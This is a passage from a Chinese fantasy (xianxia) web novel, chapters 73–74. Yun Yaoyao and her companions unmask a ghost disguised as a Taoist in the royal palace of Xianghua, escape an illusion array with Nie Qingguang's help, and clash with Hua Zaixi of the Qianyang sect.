云杳窈听到老伯这番话,心中这才松了一口气。 姜娆所遇非人,但好在能够及时止损。依照姜烛的性格,定然会将她接回王都,善待她的余生。再加上止戈在旁游说,纵使姜娆未来不愿再嫁,也未必不能赡养她一辈子。 如今看来,只需要解决掉姜娆腹内孽障鬼胎,就能让姜娆再度做回无忧无虑的襄华王姬。 云杳窈没忍住再度看向高悬于城墙上的头颅。 她不怕见血,经过几番生死波折,她连狰狞恐怖的恶鬼都能坦然面对,可不知为何,见到血淋淋的叛军首级,她还是在逐渐炎热的初夏里生出一种毛骨悚然的恶寒感。 大约是这种震慑人心的方式还是太过直白血腥。她不免觉得自己对姜烛的了解太过片面。 一行人又往王都方向去,恍惚间,云杳窈听见岑无望问道:“怎么了?从刚才开始脸色就不太好看,是身体不适?” 岑无望说着,将微凉指尖搭在她腕间,垂眸凝神去感受脉搏。 云杳窈回答:“没有。” 但没有挣脱,任凭岑无望检查。 两人脚步停下,岑无望微微侧身去瞧她。 晨光为云杳窈的发间镀了一层金色,在清透的朝阳下,连脸上细小的透明容貌都泛着光,岑无望看着,心头一软,难免生出些逗弄她的心思。 “被吓到了?”他道,“怕的话,要不要抱抱?” 云杳窈未曾上山习剑时,与岑无望几乎片刻不肯相离。偶尔有些难缠的恶鬼,会刻意露出自己死状来吓唬她,云杳窈便会躲在岑无望身侧,将脸埋在他腰间。这实在是个很方便的动作,只需要稍稍侧脸就能实现。 不过很快就变成需要躲在他身后。 彼时灾年过去不久,时人多一日两餐,且少见荤腥。加之民间女子盛行弱柳扶风之姿,所以多以少食为荣。 云杳窈不好意思说自己爱吃肉,她那时候总担心岑无望嫌弃她难养活,所以总爱撒谎说自己吃饱了。 然而总跟着岑无望东奔西跑,斩鬼除恶的,她时常感到饥饿。 岑无望一开始以为她真的胃口小,直到某日听见她肚子叫,才惊觉自己不该让她自己停筷。 后来岑无望揭榜更加勤快,只要有钱,就算是无门无派的散修都不愿意接的苦活累活,他也愿意接。 云杳窈过上了一日三餐,且每日都能吃上肉的日子。 吃得好,身体也自然好了起来。 原本凹陷的两颊圆润起来,面色都红润了不少,本该停止生长的个头也跟着往上窜了窜。 云杳窈觉得这样就没那么好看了,岑无望却对这种变化颇为得意。 后来云杳窈见话本上的病美人,突发奇想决定节食。 岑无望愁的日日在饭桌上叹息,他极少去劝着云杳窈做什么,更不会刻意立规矩要求她。他只是抽空去记那些茶肆酒楼里,她多夹了几筷子的菜,然后学着做给她吃。 各地风土人情不一,口味各不相同,出身不知何处的岑无望却能做出很多地方的特色菜。 云杳窈那个年纪,还没辟谷,自然很难有抵抗美食的自制力。 战事平息,城中人来人往,云杳窈不禁红了脸,半嗔半怒道:“谁怕了?我才不是怕。” “好吧。”岑无望有些失落,“那就是不要了。” 云杳窈不知道他到底在失落什么,生怕被别人看见了,于是矜持道:“大庭广众之下,搂搂抱抱成何体统,你收敛一点。” 说完,她快步走开,生怕别人注意到这里的异样。 岑无望见她脸色红了不少,且不再是一副心不在焉的模样,轻笑一声。 在旁沉默许的闻佩鸣将岑无望从头到脚重新打量一番:“此前听闻小剑君为人清正,未料到如此轻浮。” 岑无望摇了摇头,向来不喜欢与外人有肢体接触的他,难得拍了拍闻佩鸣的肩,摇摇头:“少阁主还是难道没听过一句话吗?少管闲事,尤其是别人的家务事。” 说罢,翩然离去。 未到宫门,远远便看见长街之上有一人骑着骏马游街而行,他身着金甲,意气风发,刻意放慢行进速度,接受百姓的欢呼与追捧。 偶尔有自沿途的人群中投掷过来的鲜花果实砸到他,他也并不气恼。 有一颗红色果子砸到他铠甲上,又很快落到地上,鲜红的汁液顺着金甲上的纹理流淌,如鲜血一般。 这种不太吉利的事情,发生在旁人身上,可能会引起滔天怒意,但姜烛不仅没有动怒,反倒冲着人群安抚道:“无妨。” 云杳窈看到马背上青年的侧颜,果然是姜烛。 她挤进人群,高呼:“殿下!太子殿下!” 可惜很快就被鼎沸人声给淹没,她喊了几次,眼见着离宫门越来越近,索性拿了路人篮子里的一枝花,朝着姜烛的脑袋砸去。 下马站定的姜烛还未迈步,花朵就在他脑袋上炸开,花瓣纷纷扬扬落下。 有几片在途中停在他肩甲上,他微微侧身,听见有个女子喊的格外卖力。 定睛一看,竟然有些面熟。 看到有人胆敢袭击太子,侍卫立即走了过去,想要拨开人群将此人拽出来,以儆效尤。 此人在游街时要对太子图谋不轨,而且最让侍卫们惊讶的是,这竟然是团伙作案。 足有三人,若是真让他们得逞了,怕是要动摇民心。 侍卫们黑着脸将把人一一拉出来,想要押送到太子面前,听从太子发落。 不料姜烛几步上前,似乎是认识罪魁祸首,主动问候道:“云仙子?” 他连忙吩咐侍卫们:“这些都是孤的贵客,放开吧。” 云杳窈这才有机会和他说:“这里人太多,我有急事和你说。” 见她神情严肃,姜烛也没多问,立刻带着他们入宫详谈。 刚关闭宫门,将嘈杂声隔绝于身后,云杳窈便开门见山:“我途径逐庆,意外见到姜娆,她深受邬盈侯迫害,我于心不忍,便带她逃离了逐庆。” 话都没说完,姜烛便脸色剧变:“她现在在哪,怎么没看见她和你们在一起?” 云杳窈理解他爱妹心切,道:“不必着急,我们入城前不知道你已战胜邬盈侯,恐有人认出她身份,带来不必要的危险,故未将她带在身边。她就在城外不到百里的地方,有止戈在旁照顾,你尽可放心。” 她看着姜烛仍然紧锁着的眉头,继续说:“你放心,邬盈侯已除,再无威胁她的存在,我会立即让止戈带她过来,御剑而行,你很快就能见到她。” 姜烛松了口气,他道:“不急,她胆子小,为了稳妥起见,还是让我派人去接她吧。” 见云杳窈一副欲言又止的模样,他问:“怎么了?” 云杳窈道:“只怕不能慢慢来,她需得尽快回到王宫。” 接着,云杳窈便将邬盈侯将她幽禁,阻拦她与人往来,还有设法让她怀上鬼胎的事逐次告知。 最后,云杳窈道:“她一心想要堕掉那个孽障,止戈说,需要借助那尊木雕神女像。” “非我不愿体贴姜娆,而是鬼胎狡猾,与寻常胎儿的生长速度不同,多拖延一刻,都有可能会让姜娆产生性命之忧。” 姜烛的脸色很难看,他犹豫一会儿,才说:“那何时能进宫?” 云杳窈知晓止戈的御剑之术远超过普通剑修,但考虑到姜娆身子重,行动不大方便,她还是给出了个较为保险的时间:“最快一个半时辰。” 姜烛听后,道:“那事不宜迟,还请云姑娘尽快让止戈带阿娆回宫。” 他想了想,又说:“那尊神像历经风霜,按照国师的意思,如今在地下修建了一间佛堂,仍有专门的女冠看守,每日香火供奉,从不间断。位置隐蔽,诸位请随我来。” 云杳窈用影中鉴义向止戈传音,让她带着姜娆赶快过来,她则先跟着姜烛往崇仙阁方向去。 朝晖殿位置在王宫正中心,是内庭最接近外庭的宫殿,为了节省时间,四人御剑在王宫上空飞行,没过多久就抵达正殿。 本该立刻往崇仙阁走,姜烛却面露难色:“按照我襄华习俗,拜神前必得沐浴焚香。此次要借用神女像的力量,能否容我下去简单梳洗一番。” 云杳窈有些无语,她委婉道:“神女若有知,定不愿姜娆受苦,也不会计较这些繁文缛节,殿下不必在意,我们还是尽快去请神女像比较合适。” 姜烛还是有些犹豫:“至少,让我到偏殿卸甲更衣,带着战甲和佩剑进去,总归不妥当,若是因我身上戾气惹怒神明,怕会耽误了阿娆。” 他察觉出云杳窈稍有不快,提议:“诸位可在正殿等候休息,若不愿等待,也可跟随宫人先行去往崇仙阁。” 云杳窈听他再三坚持,不好多说些什么。 她与岑无望还有闻佩鸣互相对视,交换眼神后,道:“那我等先行前往崇仙阁。” 宫人上前开路,待走出些距离,闻佩鸣道:“没想到姜烛竟是如此优柔寡断的性格,若是寻常人家或可称其为人温和谨慎,可他处在储君的位置上,这可是为君大忌。” 宫人的头明显更低了,云杳窈咳了一声,将他拽了过来,悄声吩咐:“少说点话吧,这里可是内庭,处处都是姜烛的耳目。” 闻佩鸣哪会不知道这个道理,他不过是仗着身份没话找话。云杳窈越离得近,他越要说些危险的话:“我可不怕,别说是储君,就算是凡王,也要尊我一声少阁主。北境的凡人君主,可管不了我这个南荒的众城首领。” 岑无望冷哼,单手将他脑袋别开。 “这位众城首领,对别人的家务事指手画脚的时候,有没有想过,你这样的才叫为人轻浮。” 两人针尖对麦芒,一路吵着走到了崇仙阁。 阁中有一名的道士在里面打坐。隔着屏风,看不清楚面容。 宫人小声道:“道长每日打坐,不能有外人打扰,否则便会闭门谢客。各位贵客先在此休息,待这柱香燃尽了,道长便会出来面见各位。” 说罢,她自行退去。 云杳窈见香炉上的线香不过一指长,便耐着性子在屏风外打坐。 香烟袅袅,在日光下隐隐有紫气翻腾。 不久,那名道士调息完毕,现身见客。他一身玄衣,体型壮硕魁梧,皮肤黝黑,宽肩小头,不像个道士,反而像个猎户。 他性情古怪,应该是个不好相互的。连宫人都要提前将他的规矩讲清楚,逃也似的离开了这里。 山外有山,天外有天。 此等怪人,今天遇上了比他还怪的人。 闻佩鸣起身,自顾自要往外走:“这也太久了,反正还要等,我可不想再干坐下去。我去催催那位太子殿下。” 身后的衣袍尚未离开椅子,就被身法奇快的道士按住了。 “这位公子,入我崇仙阁,却不拜神女,有些不大合适吧。” 闻佩鸣压根不把他放在眼里。 “敢拦我,你知道我是谁吗?” “不管你是何等身份,我才是阁主,既然在阁中,便要遵守我的规矩。” “敢自称阁主。”闻佩鸣冷着脸,打开折扇,“巧了,我最不喜欢听到的称呼,就是阁主” 说罢,他扇风如罡风,向道士刮过去,打算给他一个下马威。 道士虽身形高猛异常,可速度奇快。 就像不被身体束缚一般。 突然,云杳窈拔剑,毫无征兆向他挥出一剑。 剑意威严,势不可挡。 因为是突然发难,即便道士速度很快,可一时不察,身体只能躲过一半。 他的头断了。 不过不是因为问心的剑气,他扭动身体,身上的玄衣被剑气展开,露出残破的铠甲和伤痕累累的身体。 那颗不协调的头已经滚向一旁,身体还能如常活动。 云杳窈将剑横在身前,警惕道:“你是谁,为何伪装成道士在此等候,原来的道长呢?” 第73章 滚落的头颅化作枯骨,冒出令人胆寒的黑烟。 腥臭腐烂的气味瞬间席卷整个崇仙阁。 头还在说话:“还能怎么着,那道士不愿化鬼,宁愿魂飞魄散也不要为我所用,自然是被我吃了。” 云杳窈被这刺鼻的腐臭味熏到睁不开眼。 这个假道士没有急着返工,而是先捡回了自己的头。 不过刚才云杳窈那一件,已经斩破他的伪装,头骨上以鬼气和腐肉制作而成的皮肉已经被灵气腐蚀,只剩下森然白骨和斑斑血迹。 唯独眼眶中,还有一双挂在眼眶里的眼球。 “你是怎么看出来的?”他好奇道,眼珠子骨碌碌转动,“难不成是有人走漏风声?不应该啊,不应该啊,还是说……有人通风报信?” 云杳窈说:“不需要通风报信。香炉里焚的是还魂香,我曾日夜在灵位前焚香祈祷,希望能召得一丝魂魄,所以最清楚这个味道。” 岑无望闻言扭头,他不敢相信自己听到了什么。但他实实在在确认,这个人只可能是他自己。 在这么一个不恰当的时机,他觉得头重脚轻,甚至有魂魄离体之感。 云杳窈没看出岑无望风平浪静下的石破天惊,仍在说着:“人的身体构造最为精密,你有如此魁梧的身躯,却长了一个极不协调的脑袋,影子投射在地上的时候,你自己没有看出来吗?脊骨与颈骨就像是用皮肉强行将两者拼凑在一块儿,你根本不是活人。” 这个恶鬼不仅能保留一部分肉身,而且思维清晰,还懂得伪装成活人,引诱生者入崇仙阁。 他打坐调息,也不过是因还魂 香不仅有招魂之效,亦能蛊惑生人,使人神思恍惚,自然就很难注意到一些细微的不对劲。 如果不是闻佩鸣想一出是一出,扰乱秩序,云杳窈又早就在命殿里闻惯了还魂香,说不定就被这个假道士糊弄过去了。 “你是谁?”云杳窈问,她握紧剑柄,手很稳,心跳却在一直加快。 有如此深厚的功力,且又需夺舍潜伏于内庭,绝非等闲之辈,她对邬盈侯部下并不熟悉,索性直接往大了押。 “邬盈侯,你是邬盈侯,对不对?” 云杳窈想要用鉴义联系止戈,让她立即带姜娆远离王宫。 “不算太笨。”假道士打了个响指,他饶有兴致摸了摸自己的脑袋,然后嘲笑道,“不过也没聪明到哪去。” 层层木门逐次关上,天旋地转间,云杳窈感觉脚下不稳,可又是实实在在踩在地上的。 待她压下心慌,再看四周时,万物都已经错失了原来的位置。 天与地倒悬,可又不是简单交换,无数个太阳沉入脚下,而埋于地底的神女像则高悬于天,幻化出无数个分身。 “我不是邬盈侯。但是你不用着急,等大人” 云杳窈看向自己的脚下。 她的影子不见了,不仅如此,在场所有人的影子都消失了。 整个崇仙阁光明璀璨,却处处透露着诡异感。 “我知道你身边那个人善用鬼术,为了公平起见,咱们都不要使用影子了。” 邬盈侯说,他试着将头放回脖子上,不过这具身体已经不能再与他的头想接,他只好跳了下来。 “你们还不值得我出手,先乖乖留在这里,不要给我添麻烦。” 邬盈侯的头颅沿着道士的尸体脊背滚了下来,往外一蹦一跳。 没了邬盈侯的鬼气,这具尸体很快化为齑粉,消散在空中。 云杳窈见他要走,二话不说,提起问心追上。 然而还没等她再挥出一剑,从天上崇仙阁的纱帐和屏风里窜出来无数无头尸,挡住了云杳窈的去路。 “都说了,不要惹事,不要惹事!”假道士突然大吼,他的眼珠子因为太过用力掉了出来,还好无头尸替他接住了。 “我暂时不会杀你,但我的耐心是有限度的,你最好听劝,兴许还能保全他人。” “不然……”假道士把眼珠子按了回去,自头骨下飘出一团鬼气,凝作一具四肢暂缺的身体,慢慢飘出崇仙阁,“我就只能不小心对你下手了。” 云杳窈不知道他什么意思,但明白他有所顾忌,暂时无法杀她。 她顾不得假道士的警告,此时止戈和姜氏兄妹都在崇仙阁外,假道士已彻底舍弃肉身,化作恶鬼,夺舍只是他迫不得已,若是放他离开,说不定还会有更多人死在他的手里。 整个王都还沉浸在剿灭叛军的喜悦中,殊不知,叛军心腹已然潜入内庭。 云杳窈脑子里很乱,她不知道为什么,整个王宫都没有鬼气。 正是因为看不见鬼气,才让他们所有人都放松了警惕。 邬盈侯若有瞒天过海的本领,何不直接屠城,为什么要费心费力设下此局。 明明直接让肉身鬼化,就能得到普通修道者无法企及的力量,为什么还要让心腹舍弃肉身潜入内庭。 无头行尸围了过来,云杳窈只能挥剑斩杀。 这些鬼尸本就缺魂少魄,神志不清,不足为惧。可架不住人太多。多的好像杀不尽似的,一批倒下,总有新的填补空缺,叫他们毫无还手之力。 她凭借本能抵御尸潮的攻击,脑子里不断搜寻着这一路所有蹊跷之处。 在斩杀了不知道多少无头尸后,三人逐渐被逼至崇仙阁中间的祭台。 这些无头尸似乎是惧怕着什么,只要她们呆在神女像下方,就不再动弹。可是要他们超前多跨一步,他们就会发了疯似的围攻上来。 云杳窈连剑上的血迹都没擦,直接把问心的刃对准身旁的闻佩鸣。 “刚才你见到那个道士的第一眼,就察觉出不对劲了,但你只想自己跑。闻佩鸣,你又在利用我。” 有蔚云城的前车之鉴,云杳窈已经对闻佩鸣的忠诚不抱任何希望,只是没想到,他这次宁愿自己涉险,也要拉他们趟这趟浑水。 “从逐庆到王都,我想过邬盈侯能在襄华只手遮天,想过是你可能会从中作梗。兴许你早就知道了什么,但一直不肯说。我不期盼着你突然转性,能舍己救人,但事到如今,你也身在这里,难道还不肯说出真相吗?” 细细想来,一直是照渊阁的人在背后做推手,将他们指引到了逐庆,又一步步引他们发现邬盈侯与恶鬼勾结,以及姜娆腹中已然成型的鬼胎。 “你们照渊阁早就想好了,要牺牲逐庆暗线,所以货物才会消失在逐庆,刘桢衍师徒才会自困于医馆。你说你不知道货物的下落,不知道货物是什么,也是骗我的借口罢了。” 云杳窈气得眼眶发红,不过好在她手依旧很稳,压着闻佩鸣命门,让他毫无反抗之力。 问心发出阵阵嗡鸣声,似乎是低声威胁。 往前是随时有可能割开他喉管的问心,往后是不知疲倦的无头尸潮,闻佩鸣苦笑,连扇子掉在了地上都无心去捡。 “师姐,我是真不知道逐庆发生的一切,也不知道那批货物究竟是什么。” 闻佩鸣举起手,对天发誓。 “我发誓,我要是提前知道了逐庆内情,却还欺骗了你,就让我死无葬身之地,后世万代史书不见我名。” 对于一个生来自负的天之骄子来说,青史不留痕,远比死法悲惨要难接受的多。 云杳窈正在气头上,她无法接受闻佩鸣的说辞,他嘴里没有一句真话。 “但是我在刚才看见他的时候,突然知道那批货物到底是什么东西了。”闻佩鸣赶紧说。 他感受到问心的刃已经割破喉间肌肤,温热的血液顺着他的喉结往下流淌。 这种刺痛感让闻佩鸣有些紧张,但看着此刻云杳窈满眼都是他,这种刺痛感中又生出了一种微妙的痒。 闻佩鸣看向云杳窈,试图让自己远离问心:“师姐,你再信我一次。” 云杳窈依然没有放下刀刃,她鎏金眼眸里流淌着几乎可以化为实质的怒火,亟待一个宣泄口。 无论是闻佩鸣,还是已经离开崇仙阁的假道士,亦或者是一直在背后没有现身的邬盈侯,她都不会放过。 但闻佩鸣还有价值,至少不能死在这里。 云杳窈强压着怒火,她已经将闻佩鸣压到边缘,差一点,就能将他推入尸潮。 闻佩鸣也很清楚,不过比起被推下去,他似乎更在乎云杳窈的看法,他再次解释道:“真的,无论此前我怀着何等目的接近你,但我发誓,自现在开始,我绝对不会再做出任何一件让你不快的事。” 云杳窈不信轻易许出的诺言。真心是瞬息万变的,她只想要真相,只想做自己的判断,不想听闻佩鸣的晓之以理,动之以情。 “我不在乎。”云杳窈将他拉回绝对安全的范围,“你发什么誓,说什么话都不重要。我只想知道,你知道的一切。” 闻佩鸣道:“其实道理很简单,师姐能从乾阳宗顺路逃脱,是借用了我照渊阁的法阵。而那个法阵并不是真的将人的行踪完全抹去。实际上,这个世界本就没有天衣无缝的隐匿方法。” “阵法核心其实不在于隐匿,而在于干扰,干扰人对万物的感知。” 云杳窈想了想,道:“幻象?” 闻佩鸣点头:“是,其实是通过营造幻象,来制造风过无痕的假象。” 云杳窈还是觉得不对劲:“既然如此,你又是如何识破那假道士的伪装?” 闻佩鸣回答:“很简单,我天生魂魄残缺,还魂香对我无效。” 闻佩鸣道:“这不重要,重要的是,如果我推测的没错,我们从入城开始,就已经身处幻境。” 说着,他弯腰将地上的折扇拾起,对岑无望说:“鬼应该对鬼气更敏感才是,鬼气自死者七窍而出,即便没能顺利化为恶鬼,凡人死后,身上怎么可能一点鬼气都没有?” 岑无望看着云杳窈撕掉他衣角一片,仔细擦拭了问心剑上的血。 旁人只能看出云杳窈的愤怒,却鲜少能看出她的色厉内荏。现在他们被困在这里,最担心姜氏兄妹的就是云杳窈。 云杳窈认真擦拭着血,剑身上却仍有一片猩红,就这么映在她眼 尾。 岑无望于是用两指轻轻捏了捏她皱起的鼻子。 等云杳窈一巴掌拍在他身上,他才不咸不淡同闻佩鸣说下去:“鬼气的隐匿方法不止一种,若是鬼的肉身完整,又足够强大,也能很好的在人群中隐匿自己的真实身份,如果不主动使用鬼气,寻常修道者很难辨别。” 岑无望环视周围无头尸,话锋一转:“但话又说回来,即便邬盈侯想操纵这些未能堕落成恶鬼的凡人,也不至于让他们尸首分离,这样做确实可疑。” 他们被围困在这里,既不能向外界传信,也不能自救。单看这里的阵法,强行破阵需得几日几夜。 没有阵修相助,他们光对付尸潮都有些力不从心。 闻佩鸣道:“此阵要是陈老在,肯定就能轻易破掉。只可惜他早年为照渊阁殚精竭虑,只留下阵法残篇便匆匆仙逝。” 他用扇子不停的扇风,脚下的太阳炙烤着,像是决心要把倒悬后新生的地面烧穿。 扇子呼呼作响,闻佩鸣长叹一口气:“要是陈老的徒弟在就好了,可惜他的弟子们多数为人低调,不显声名,不可能会出现在这里。” 话说到这里,他又突然否定前面的说法。 “不,就算陈老的徒弟在,也未必能解决我们的燃眉之急。陈老门徒众多,可学阵要的不是勤勉刻苦,而是天赋异禀。还真有能就我们于水火的奇才,早就该在阁中大显身手了。” 听着闻佩鸣在一旁絮叨着,岑无望打断他:“如今襄华的情况,除非天上能掉下来个陈氏子弟,或者干脆把陈老召回来,正好这里还有招魂用的东西。” 云杳窈恢复了点,已经有功夫和他们胡说八道了。 “别惦记陈老了,他就算走的再慢,这会儿孟婆汤都喝了,哪里还记得捞一捞他未照拂过的少阁主。” 几人在原地胡侃几句,还没说完,天地再次翻转。 云杳窈与岑无望对视一眼,再同时看向闻佩鸣。 “陈老显灵了?” 第74章 让一个作古多年的老头在此刻回魂相助,确实不大可能。 所以调侃归调侃,三人还是一起配合,在众多无头尸中杀出一条血路,与这位从天而降的义士会和。 没了阵法辅助,尸潮明显不如先前汹涌,原本在空中震慑无头尸的神女像重归地下,万物归于原位。 只是这位义士看起来有些眼熟。 他身材肥胖,个头不高,兴许是强行破阵和缩地千里几乎榨干了他体内的灵气,他口吐鲜血,却仍在画阵。 以同等阵法压制阵法,技高一筹着夺得主位。 很明显,布阵者也输给了眼前这个不起眼的男人。 “聂清光!” 闻佩鸣头一个喊出他的名字。 “你怎么在这里?” 聂清光画阵的手一顿,扬起一个讨好的笑。 “少阁主。” 他没有解释为什么会出现在这里,也没有解释他是如何突破重兵把守,悄无声息出现在王宫内庭。他略显佝偻的背没有挺直过,最起码闻佩鸣从未见过他挺直腰杆的模样。 闻佩鸣见聂清光一副三棍子打不出来个响声的窝囊样,知道他有心装傻充愣,无奈摆摆手:“罢了,等出去再细问,你既然有本事破开这崇仙阁的阵法,我会记你一功。” “现在当务之急,是找到藏在王都内的邬盈侯,以及他盗走的天隐石。” 此处法阵还未完全解开 云杳窈抱着剑立在不远处,看着聂清光画阵时行云流水,繁复的阵法压制着崇仙阁原先的阵术。 不管是肌肉记忆,还是在看到法阵后凭借直觉所绘,都堪称恐怖。 云杳窈早在边境就见识过聂清光的阵法,那时她只是觉得他可能善用此道,不曾想这位平平无奇,几乎被照渊阁遗忘的暗线弃子,竟然要比许多阵修还要厉害。 她没见过闻佩鸣口中的陈老,但也隐约感受出聂清光可能没那么简单。 云杳窈问闻佩鸣:“你们阁中的暗线出手都是这个水平吗?” 闻佩鸣也没见过这种架势,那位陈老早在他记事前就已经驾鹤西去,阁中这些年培养过不少阵修,也曾重金利诱一些仙门奇才为阁中做事。 他们都远不如聂清光。 可若聂清光真有这等本事,照渊阁没理由把他外派到荒凉之地,即便是他过往犯过什么错事,也该找机会让他在阁中卖命,将功赎罪,而不是十几年不闻不问。 就好像是要刻意将他的存在抹除一般。 闻佩鸣眉心一跳,在聂清光完成阵法的最后一笔后问他:“你师从何处?” 聂清光为照渊阁做事几十年,生平经历都在照渊阁有详细记录,即便有人刻意抹除过他的痕迹,但只要闻佩鸣想找,肯定能寻到蛛丝马迹。 他抬眼看着闻佩鸣这张带着些许傲气的脸,突然有点不知从何说起。 所以最后他只是简单回答:“先师陈观。” 在聂清光回答之前,闻佩鸣便早有预料,所以他并没有露出太多惊讶,他余光瞥见云杳窈一直在看他,于是摆出一副早已洞察一切的神情,泰然自若道:“陈观生前弟子众多,不过宗门上有内外之别,弟子也有亲疏之分,陈老是个惜才之人,生前曾向阁主引荐过众多弟子亲信,你既然有如此本领,为何此前没有听过你的名号?” 聂清光这些年来疏于修炼,境界不进反退,光是缩地千里和绘制此阵就已经耗费他不少心力,这会儿眼冒金星,头昏眼花,听见闻佩鸣这一长串话,好半天才反应过来。 他咽下一口唾液,仍是自谦:“正是因老师门徒众多,所以有我这么个胸无大志的徒弟也不奇怪。” 闻佩鸣挑眉:“你是在质疑陈老看人的眼光?” 这么一顶帽子扣下来,吓得聂清光欲哭无泪:“不敢不敢,实则是我有愧于老师的栽培。” 云杳窈在一旁试了试,还是无法联系上止戈。听闻佩鸣半天没问出个所以然来,打断了他们的谈话:“行了,咱们还是快些去找天隐石吧。” “你们二人既然是隐渊阁之人,想必知道些内情,可有能找出天隐石的法子?” 这下轮到闻佩鸣与聂清光面面相觑了,最后还是聂清光干笑着回答:“生人是不能直接接触天隐石的,依照属下愚见,这天隐石要么在某一处阵法的阵眼中,要么在相辅相成的法器里,若是生人携带,直接使用,轻则走火入魔,重则魂魄受损,当场横死。” “然而能够承载天隐时的阵法也并不多,只需一一排查即可,法器便更好寻找,只要运行就会有灵气轨迹的变动,即便我们不能看出是天隐石,但这里是凡人王都 ,灵气稀薄,只要朝着灵气最浓郁的地方去找,应该能找出天隐石所在范围。” 可是若是满城排查,所需人手众多,还是需要借助姜氏的力量。 云杳窈等人离开崇仙阁,准备找姜烛商议此事,看他能不能召集城内的修者,哪怕是过路的散修也好,总比他们四个人一点点排查城内异常要快一些。 谁知刚推门而出,便看见江烛领了一大群人,在重仙阁外,最前面几人手上施用法诀的姿势还未变,一看到门从内打开,有好几个人都同时叫住云杳窈。 “师妹!” “师姐。” “云仙子。” 云杳窈也已经看向了这几个人,为首的人气宇轩昂,灵气最盛,施法时额心隐隐可见凤凰羽图腾浮现。她顿时将问心横在身:“花在溪?你怎么在这里。” 花在溪见她对待自己如此警惕,甚至下意识刀剑相向,不禁苦笑:“自你离开乾阳宗,我便跟着下了山,却一直都没有找寻到你的踪迹,我也是半路听闻你与襄华王姬是旧识,所以才跑到这里来试试运气,没想到真的能再次见到你。师妹,随我回去吧。我……微尘仙尊和很多弟子都很想你。” 云杳窈神色冷淡,她无动于衷:“想我什么?是想听见我痛哭流涕低声下气求你们原谅,还是想亲自让我于众人前伏法认罪,以展示宗门的纪法严明,还有你们乾阳宗众人的刚正不阿。” 花在溪想上前,他着急道:“不是的师妹,只要你能够与岑无望断绝关系,微尘长老和我师尊都会出面保你,你只是受恶鬼挑唆,并没有酿成大错。我们都知晓你最重情谊,应有难以诉说的苦衷,所以过去发生的,可以既往不咎,只要你……” 看到他想靠近,云杳窈拔剑抵在他胸前,威胁到:“别过来。” 花在溪见云杳窈这副姿态,便知晓刚才的话她一句都没听进去,脸色不禁有些难看,他这才将目光放在了云杳窈身后的岑无望身上。 他嘴唇颤了颤,不知是妒忌还是气愤:“你宁愿和岑无望这个声名狼藉的恶鬼纠缠不清,也不愿回到宗门,为什么?” 他坚持道:“他对你用了蛊惑人心的鬼术,所以你才执意离开,对不对?” 云杳窈皱眉:“关他什么事?即便没有岑无望,我早晚都会离开乾阳宗。道不同不相为谋,花在溪,若真能将一切都既往不咎,你应该比我先放下了。” 望着这双再无一丝留恋的鎏金眼眸,花在溪似乎感觉到额心在烧,凤凰羽让他灵气大增,境界提升,但强行借助凤凰羽锻造自身,也让他无时无刻都处在焦金烁石的煎熬中。 花在溪道:“如果你说的是放下岑无望杀害廖枫汀,诱使你背叛宗门,那我可能一辈子都放不下了。” 一辈子,对于凡人来说是可以轻易许下的诺言。但对于修者来说,即便是随口说出,也很容易成为困其一生的心魔谶语。 饶是压根不把花在溪放在眼里的岑无望,也不禁侧目而视,好心提醒:“慎言。” 天色晦暗不明,刚刚还晴空万里,可此时王宫已经被乌云笼罩。 风雨欲来,岑无望一身素衣,坦坦荡荡站在云杳窈身后,既无愧色,又无焦急,他只是站在那里,就已经令花在溪无比厌烦。 “你拖累她至此,若真的还有一丝良知,就该知道远离她才是善待她。”花在溪怒而拔剑,直指岑无望。 岑无望丝毫不惧,因为早在他剑尖落下之前,问心就已经挡掉着一剑,他长叹一口气:“哎呀,真是吓死我了。” “你!” 这是乾阳宗的恩怨,几人灵气和鬼气翻作一团,威压让普通人难以招架。在场所有人都默不作声,生怕阎王打架小鬼遭殃。 乾阳宗其他几名弟子与花在溪同仇敌忾,几乎在云杳窈震开花在溪时一同亮剑,而闻佩鸣乐得见他们打起来,没趁机火上浇油便已经是善心大发,怎么着都不可能开口相劝的。 谁也奈何不了对方。 “诸位何不听我一言。” 最后竟然是姜烛率先开口,打破僵局。 姜烛站在两人中间,无意间让他们多了些顾及,不约而同收回神通。 只是碍于脸面,仍保持着针锋相对的姿势。 这位宽和仁善的太子殿下并不知晓他们之间错综复杂的过往,但他已经听出来,这几人是同门弟子。 至少曾经同为乾阳宗的弟子。 “云仙子是姜氏贵人,而花仙长替孤斩杀邪祟,如今又受我所托,来到崇仙阁救人,何不各卖我一个面子,先将眼下危难解决掉,再一同清算过往。” 眼下最棘手的事情尚未解决,云杳窈不想也没精力和花在溪纠缠。 而花在溪也很明白,自己一时片刻不可能说动云杳窈,有人在这里递了台阶,他们便装作不情不愿地下了。 云杳窈先收剑,不再看花在溪,转头向姜烛说:“我们在崇仙阁内遇见了一个夺舍道士的恶鬼,他是邬盈侯的属下。他早已在这里等候多时,若不是有人及时破阵相救,恐怕这会儿我们还被困在里面。” 姜烛点头:“我见你们许久没有出来,又打不开崇仙阁大门,便知晓其中必有蹊跷,因此才拜托此前帮助过我们诛杀邬盈侯的花仙长等人前来营救。” 云杳窈面沉如水:“邬盈侯并没有死,他很有可能已经进入王宫。请殿下立即封锁宫门,不能放任何人出去。” 她环视周围,没有将邬盈侯可能会夺舍一事挑明。 一来是为了不让众人在惶惶下,出现疑神疑鬼甚至互相残杀的事情发生。 二则是敌在暗,他们在明。云杳窈此时仍不知邬盈侯的具体下落,若是他此刻已经潜伏在宫人中,还是不要将所有情况都托盘而出的好。 “此外,殿下召集所有人至朝晖殿,凡是曾见过邬盈侯的,安排在崇仙阁前,其余在周围等候,我需要一一排查。” 云杳窈对花在溪说:“修道者当心怀天下,护佑世间安宁,你我暂时休战,在襄华的危机解决前,我希望花仙长能够不要再起事端,以万民安危和天下太平为先。” 说完,她甚至不计前嫌似的,露出一个微笑,唇角的虎牙若隐若现,看起来可亲可爱。花在溪已许久没见过云杳窈对自己露出这般温柔和煦的笑颜,天色晦暗不明,可她眼神明亮如星。 明明与他一同深陷这恶鬼精心编织的迷局,却不见丝毫惶恐。 花在溪神思恍惚,想起他们曾在乾阳宗的时光。仅仅是崖底思过,便让她担惊受怕了许久。 微风掀起花在溪额前碎发,先前惊闻云杳窈被困,他耗费灵气强行催动凤凰羽时所生出的热汗还未落,就这么悄然滑到眼角。 花在溪回望云杳窈诚挚的目光,盈盈水光,殷殷期待。他又看了看一旁岑无望平静无波的神色。无论何时,岑无望的视线里似乎都有她的身影,且多数时候,都是她的背影。 